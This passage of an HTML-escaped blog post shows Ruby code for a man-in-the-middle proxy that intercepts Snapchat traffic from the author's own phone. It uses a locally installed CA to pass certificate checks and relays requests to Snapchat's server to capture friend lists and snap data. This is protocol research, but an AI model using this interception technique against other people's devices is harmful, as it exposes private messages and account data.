&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #f9e2af;&quot;&gt;STDERR&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;probably good client &lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ctx&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;OpenSSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;SSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;SSLContext&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;SSLv23_server&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ctx&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;cert&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;OpenSSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;X509&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Certificate&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;server.crt&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ctx&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;OpenSSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;PKey&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;RSA&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;server.key&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ctx&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;verify_mode&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;OpenSSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;SSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;VERIFY_NONE&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;write&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;HTTP/1.1 200 OK&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\r&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;flush&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ss&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;OpenSSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;SSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;SSLSocket&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ctx&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ss&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;accept&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #f9e2af;&quot;&gt;STDERR&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;I THINK WE&amp;#39;RE IN, JOHN.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;d&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ss&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;readpartial&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;8192&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;  &lt;span style=&quot;color: #f9e2af;&quot;&gt;STDERR&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;got data: &lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ss&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;close&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;close&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To go with, I generated &lt;code&gt;server.crt&lt;/code&gt; and &lt;code&gt;server.key&lt;/code&gt; with CN &lt;code&gt;*.appspot.com&lt;/code&gt;,
wondering if Snapchat are checking for a valid cert or not.&lt;/p&gt;
&lt;p&gt;Turns out they are: I was getting &lt;code&gt;EOFError&lt;/code&gt; thrown at the last &lt;code&gt;readpartial&lt;/code&gt;
call, so presumably that was Snapchat not liking my identity.&lt;/p&gt;
&lt;p&gt;Thankfully, the workaround wasn’t hard: make a local CA, install its
certificate on the phone, re-generate the SSL certificate with that
CA&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-ssl-ca&quot; id=&quot;fnref-ssl-ca&quot; data-footnote-ref&gt;2&lt;/a&gt;&lt;/sup&gt;, and away we go!&lt;/p&gt;
&lt;p&gt;Next, capture the data from the phone, and establish the connection to Snapchat
ourselves to complete this man-in-the-middle. We put this after reading the
first block of data from the client above:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-ruby&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# make the real connection&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;begin&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;TCPSocket&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;feelinsonice.appspot.com&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;443&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;rescue&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;Errno&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;ECONNREFUSED&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #f9e2af;&quot;&gt;STDERR&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;snapchat getting weary?&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ss&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;close&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;rescue&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;close&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;rescue&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #cba6f7;&quot;&gt;next&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ups&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;OpenSSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;SSL&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;SSLSocket&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;up&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;to_io&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ups&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;connect&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ups&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;STDERR&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;forwarded request from phone&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;while&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #cba6f7;&quot;&gt;begin&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;r&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ups&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;readpartial&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1024&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #cba6f7;&quot;&gt;rescue&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;EOFError&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #f9e2af;&quot;&gt;STDERR&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;no more&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ss&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;close&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;close&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;break&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #cba6f7;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #f9e2af;&quot;&gt;STDERR&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;they say: &lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# send back to phone&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ss&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #f9e2af;&quot;&gt;STDERR&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;written back&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;  &lt;span style=&quot;color: #cba6f7;&quot;&gt;break&lt;/span&gt; &lt;span style=&quot;color: #cba6f7; font-style: italic;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;zero?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;STDERR&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;quiet&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We open a regular SSL socket to Snapchat’s GAE server, forward the request from
the phone, and read back what Snapchat said.&lt;/p&gt;
&lt;p&gt;It turns out this is enough to start getting sensitive data in a form where we
can attack it offline&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-http&quot; id=&quot;fnref-http&quot; data-footnote-ref&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Add some logging of responses to file; you’ll see a request to &lt;code&gt;/ph/sync&lt;/code&gt;,
followed by a bulk of data indicating who our friends are, and information
regarding new snaps.  Then, the phone will try to fetch those snaps: you’ll see
requests to &lt;code&gt;/ph/blob&lt;/code&gt;, like:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-ruby&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;ph&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;/blob&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: 